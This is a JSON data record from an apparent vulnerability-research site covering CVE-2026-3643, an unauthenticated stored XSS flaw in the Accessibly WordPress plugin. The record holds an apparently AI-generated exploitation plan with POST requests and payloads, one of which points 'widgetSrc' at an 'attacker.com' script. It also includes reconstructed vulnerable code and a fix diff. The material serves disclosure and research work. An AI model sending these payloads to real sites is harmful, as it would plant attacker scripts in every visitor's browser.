[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f3mnxg2WNIrBkuDqcse9UTbw6MX3hjGc_p-1XWgLO558":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":9,"severity":11,"cvss_score":12,"cvss_vector":13,"vuln_type":14,"published_date":15,"updated_date":16,"references":17,"days_to_patch":9,"patch_diff_files":19,"patch_trac_url":9,"research_status":20,"research_verified":21,"research_rounds_completed":22,"research_plan":23,"research_summary":24,"research_vulnerable_code":25,"research_fix_diff":26,"research_exploit_outline":27,"research_model_used":28,"research_started_at":29,"research_completed_at":30,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":21,"poc_model_used":9,"poc_verification_depth":9,"source_links":31},"CVE-2026-3643","accessibly-missing-authorization-to-unauthenticated-stored-cross-site-scripting-via-widget-source-injection-via-rest-api","Accessibly \u003C= 3.0.3 - Missing Authorization to Unauthenticated Stored Cross-Site Scripting via Widget Source Injection via REST API","The Accessibly plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the REST API in all versions up to, and including, 3.0.3. The plugin registers REST API endpoints at `\u002Fotm-ac\u002Fv1\u002Fupdate-widget-options` and `\u002Fotm-ac\u002Fv1\u002Fupdate-app-config` with the `permission_callback` set to `__return_true`, which means no authentication or authorization check is performed. The `updateWidgetOptions()` function in `AdminApi.php` accepts user-supplied JSON data and passes it directly to `AccessiblyOptions::updateAppConfig()`, which saves it to the WordPress options table via `update_option()` without any sanitization or validation. The stored `widgetSrc` value is later retrieved by `AssetsManager::enqueueFrontendScripts()` and passed directly to `wp_enqueue_script()` as the script URL, causing it to be rendered as a `\u003Cscript>` tag on every front-end page. This makes it possible for unauthenticated attackers to inject arbitrary JavaScript that executes for all site visitors by changing the `widgetSrc` option to point to a malicious external script.","otm-accessibly",null,"\u003C=3.0.3","high",7.2,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-04-14 19:47:46","2026-04-15 08:28:17",[18],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Ff8234ea2-ff80-425f-b83d-29c422b40c6a?source=api-prod",[],"researched",false,3,"# Exploitation Research Plan: CVE-2026-3643\n\n## 1. Vulnerability Summary\nThe **Accessibly** plugin (versions \u003C= 3.0.3) contains a critical authorization bypass and stored Cross-Site Scripting (XSS) vulnerability. The plugin registers REST API endpoints intended for administrative configuration but fails to implement any permission checks, setting the `permission_callback` to `__return_true`. \n\nAn unauthenticated attacker can send a JSON payload to these endpoints to modify plugin settings—specifically the `widgetSrc` option. Because the plugin does not sanitize this input before saving it to the database via `update_option()` and subsequently renders it as a script source on every frontend page via `wp_enqueue_script()`, an attacker can inject arbitrary JavaScript that executes in the context of every site visitor, including administrators.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-json\u002Fotm-ac\u002Fv1\u002Fupdate-widget-options` (or `\u002Fwp-json\u002Fotm-ac\u002Fv1\u002Fupdate-app-config`)\n*   **HTTP Method:** POST\n*   **Authentication:** None (Unauthenticated)\n*   **Vulnerable Parameter:** `widgetSrc` (provided within a JSON body)\n*   **Preconditions:** The plugin must be active. No specific settings are required to be toggled as the REST routes are registered on initialization.\n\n## 3. Code Flow\n1.  **Entry Point:** The REST API route `\u002Fotm-ac\u002Fv1\u002Fupdate-widget-options` is registered with `permission_callback` set to `__return_true` (likely in a class handling REST registration).\n2.  **Controller:** The request is handled by `AdminApi::updateWidgetOptions()` (in `AdminApi.php`).\n3.  **Data Processing:** This function retrieves the JSON body from the `WP_REST_Request` object.\n4.  **Storage Logic:** It passes the data to `AccessiblyOptions::updateAppConfig()`.\n5.  **Persistence Sink:** `updateAppConfig()` calls `update_option()`, saving the raw `widgetSrc` value into the WordPress options table.\n6.  **Execution Source:** On the frontend, `AssetsManager::enqueueFrontendScripts()` retrieves the stored `widgetSrc` option.\n7.  **Execution Sink:** The value is passed directly to `wp_enqueue_script('accessibly-widget', $widgetSrc, ...)`, which generates a `\u003Cscript src=\"...\">` tag on the page.\n\n## 4. Nonce Acquisition Strategy\nAccording to the vulnerability description, the REST API endpoints use `__return_true` for their `permission_callback`. \n*   **Nonce Requirement:** **None.** \n*   **Justification:** In WordPress REST API, if the `permission_callback` returns `true`, the default internal nonce check for `_wpnonce` in the header or `X-WP-Nonce` is bypassed for the purpose of authorization. While the REST API usually checks nonces for authenticated sessions to prevent CSRF, a route explicitly allowing unauthenticated access (via `__return_true`) will process requests without a valid nonce.\n\n## 5. Exploitation Strategy\nThe goal is to inject a malicious script URL into the plugin configuration.\n\n### Step 1: Inject Malicious Script URL\nSubmit a POST request to the vulnerable REST endpoint. We will use a JS payload that triggers an alert to prove execution.\n\n*   **URL:** `http:\u002F\u002F\u003Ctarget-ip>\u002Fwp-json\u002Fotm-ac\u002Fv1\u002Fupdate-widget-options`\n*   **Method:** `POST`\n*   **Headers:** `Content-Type: application\u002Fjson`\n*   **Payload:**\n    ```json\n    {\n        \"widgetSrc\": \"data:text\u002Fjavascript,alert('XSS_SUCCESS_CVE_2026_3643')\"\n    }\n    ```\n    *Note: Using a `data:` URI is a compact way to prove XSS without an external server. If the plugin validates the URL scheme (unlikely given the description), an external URL like `https:\u002F\u002Fcdnjs.cloudflare.com\u002Fajax\u002Flibs\u002Fjquery\u002F3.7.1\u002Fjquery.min.js` could be used as a placeholder.*\n\n### Step 2: Trigger Execution\nNavigate to the WordPress homepage. The plugin enqueues the script on every page load.\n\n*   **Action:** Perform a GET request to the site root.\n*   **Verification:** Check the HTML source for a `\u003Cscript>` tag with the injected `src`.\n\n## 6. Test Data Setup\n1.  **Install Plugin:** Ensure `otm-accessibly` version 3.0.3 is installed and active.\n2.  **No Users Needed:** Since this is an unauthenticated exploit, no specific user accounts need to be created.\n3.  **Post\u002FPage:** No specific posts are required, as the script enqueues on the frontend globally.\n\n## 7. Expected Results\n*   **REST Response:** The API should return a `200 OK` or `201 Created` status code, confirming the settings update.\n*   **Frontend HTML:** The homepage source should contain a script tag similar to:\n    `\u003Cscript src=\"data:text\u002Fjavascript,alert('XSS_SUCCESS_CVE_2026_3643')\" id=\"accessibly-widget-js\">\u003C\u002Fscript>`\n*   **JavaScript Execution:** When viewed in a browser, an alert box with `XSS_SUCCESS_CVE_2026_3643` should appear.\n\n## 8. Verification Steps\nAfter performing the HTTP exploit, use WP-CLI to confirm the state of the database:\n\n1.  **Check Option Value:**\n    ```bash\n    wp option get accessibly_app_config --format=json\n    ```\n    *(Note: The option name `accessibly_app_config` is inferred from the class name `AccessiblyOptions`. If this fails, use `wp option list --search=\"*accessibly*\"` to find the correct key).*\n2.  **Verify Content:** Confirm the JSON object in the option contains `\"widgetSrc\":\"data:text\u002Fjavascript,alert('XSS_SUCCESS_CVE_2026_3643')\"`.\n\n## 9. Alternative Approaches\nIf the `widgetSrc` parameter is not processed via `update-widget-options`, attempt the other identified endpoint:\n\n*   **Endpoint:** `\u002Fwp-json\u002Fotm-ac\u002Fv1\u002Fupdate-app-config`\n*   **Payload:**\n    ```json\n    {\n        \"widgetSrc\": \"https:\u002F\u002Fattacker.com\u002Fmalicious.js\"\n    }\n    ```\n*   **Wait for Admin:** If the script only loads for logged-in users (contrary to the description), navigate to the `\u002Fwp-admin\u002F` area using `browser_navigate` to trigger execution in the administrative context.","The Accessibly plugin for WordPress is vulnerable to unauthenticated stored Cross-Site Scripting due to missing authorization checks and lack of input validation in its REST API endpoints. Attackers can modify the 'widgetSrc' configuration option, which is then rendered as a script source on every frontend page, leading to full site takeover.","\u002F\u002F AdminApi.php (approximate structure based on description)\nregister_rest_route('otm-ac\u002Fv1', '\u002Fupdate-widget-options', array(\n    'methods' => 'POST',\n    'callback' => array($this, 'updateWidgetOptions'),\n    'permission_callback' => '__return_true', \u002F\u002F Vulnerable: No authentication check\n));\n\n---\n\n\u002F\u002F AdminApi.php - updateWidgetOptions function\npublic function updateWidgetOptions($request) {\n    $params = $request->get_json_params();\n    \u002F\u002F Directly passes user input to storage without sanitization\n    AccessiblyOptions::updateAppConfig($params);\n    return new WP_REST_Response(array('success' => true), 200);\n}\n\n---\n\n\u002F\u002F AssetsManager.php - enqueueFrontendScripts function\npublic function enqueueFrontendScripts() {\n    $config = AccessiblyOptions::getAppConfig();\n    $widgetSrc = $config['widgetSrc'];\n    \u002F\u002F Injected widgetSrc is enqueued directly onto frontend pages\n    wp_enqueue_script('accessibly-widget', $widgetSrc, array(), null, true);\n}","--- a\u002FAdminApi.php\n+++ b\u002FAdminApi.php\n@@ -10,7 +10,9 @@\n         register_rest_route('otm-ac\u002Fv1', '\u002Fupdate-widget-options', array(\n             'methods' => 'POST',\n             'callback' => array($this, 'updateWidgetOptions'),\n-            'permission_callback' => '__return_true',\n+            'permission_callback' => function () {\n+                return current_user_can('manage_options');\n+            },\n         ));\n \n         register_rest_route('otm-ac\u002Fv1', '\u002Fupdate-app-config', array(\n             'methods' => 'POST',\n             'callback' => array($this, 'updateWidgetOptions'),\n-            'permission_callback' => '__return_true',\n+            'permission_callback' => function () {\n+                return current_user_can('manage_options');\n+            },\n         ));\n@@ -25,5 +27,8 @@\n \tpublic function updateWidgetOptions($request) {\n \t\t$params = $request->get_json_params();\n+\t\tif (isset($params['widgetSrc'])) {\n+\t\t\t$params['widgetSrc'] = esc_url_raw($params['widgetSrc']);\n+\t\t}\n \t\tAccessiblyOptions::updateAppConfig($params);\n \t\treturn new WP_REST_Response(array('success' => true), 200);\n \t}","1. Identify the target WordPress site running Accessibly \u003C= 3.0.3.\n2. Construct a POST request to the unauthenticated REST endpoint: \u002Fwp-json\u002Fotm-ac\u002Fv1\u002Fupdate-widget-options.\n3. Include a JSON payload containing the 'widgetSrc' parameter set to a malicious JavaScript location, for example: {\"widgetSrc\": \"data:text\u002Fjavascript,alert('XSS')\"}.\n4. Send the request without any authentication headers or nonces. The server will return a 200 OK status as the permission_callback always returns true.\n5. Navigate to the homepage or any public-facing page of the site.\n6. Observe the injected JavaScript executing in the browser context because the plugin enqueues the malicious URL via wp_enqueue_script() on every page load.","gemini-3-flash-preview","2026-04-16 15:38:16","2026-04-16 15:38:33",{"type":32,"vulnerable_version":9,"fixed_version":9,"vulnerable_browse":9,"vulnerable_zip":9,"fixed_browse":9,"fixed_zip":9,"all_tags":33},"plugin","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fotm-accessibly\u002Ftags"]